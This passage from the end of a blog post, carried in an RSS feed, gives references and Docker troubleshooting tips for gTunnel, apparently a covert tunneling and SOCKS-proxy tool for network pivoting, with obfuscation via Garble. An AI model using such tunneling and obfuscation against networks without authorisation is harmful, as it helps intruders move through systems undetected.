href="https://medium.com/u/507d73de7b97">hotnops</a></figcaption></figure><h3>References</h3><ul><li>What is Tunneling, Cloudflare <a href="https://www.cloudflare.com/learning/network-layer/what-is-tunneling/">https://www.cloudflare.com/learning/network-layer/what-is-tunneling/</a></li><li>Install, Docker, <a href="https://docs.docker.com/engine/install/">https://docs.docker.com/engine/install/</a></li><li>Tmux Cheat Sheet, tmuxcheatsheet, <a href="https://tmuxcheatsheet.com/">https://tmuxcheatsheet.com/</a></li><li>gTunnel, GitHub, <a href="https://github.com/hotnops/gtunnel/">https://github.com/hotnops/gtunnel/</a></li><li>gTunnel, Hotnops, <a href="https://hotnops.gitbook.io/gtunnel/">https://hotnops.gitbook.io/gtunnel/</a></li><li>Garble, GitHub, <a href="https://github.com/burrowers/garble">https://github.com/burrowers/garble</a></li></ul><h3>Troubleshooting…</h3><h4>Running the gServer</h4><p>If the gServer for some reason is unreachable, you can verify if it’s still running with:</p><pre>docker container list</pre><p>and if it’s not running, you can start it with:</p><pre>docker container start gtun-server</pre><p>But if you want to know WHY it failed, check out the logs directory (remember that directory we just made along with tls?)</p><p>If it’s completely borked (not impossible), you can remove the stopped container altogether with:</p><pre>docker container prune</pre><p>Then agree to sell your soul and it’ll clean it up for you. Restart the container as per the install step in the relevant section. Repeat as necessary.</p><h4>Building the gClient</h4><p>Read the errors carefully (srsly). Remove the gclient-build-image if it was created but failed to finish building with this command</p><pre>sudo docker rmi gclient-build-image:latest</pre><p>To verify the removal, you can list out images with:</p><pre>sudo docker images</pre><p>Modify the gclient/Dockerfile as needed to make things run, but please pull request any changes to the github.</p><h4>Building the gTuncli</h4><p>If this fails about a go mod or go get command, just add that command to the gserver/Dockerfile after the getting dependencies section. Really. Just copy paste it EXACTLY as the error shows you, please don&#39;t try to get fancy thinking you know better than it like &#39;oh this go version doesn&#39;t support go get outside of a mod file I should change it to go install&#39;. NO. Listen to the compiler!</p><h4>Running SOCKS</h4><p>If it stops working for some reason, just do</p><pre>./gtuncli socksstop -clientid &lt;id&gt;</pre><p>Then rerun the socksstart command. No complete overhaul of gTunnel required :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a70a9b82b24" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>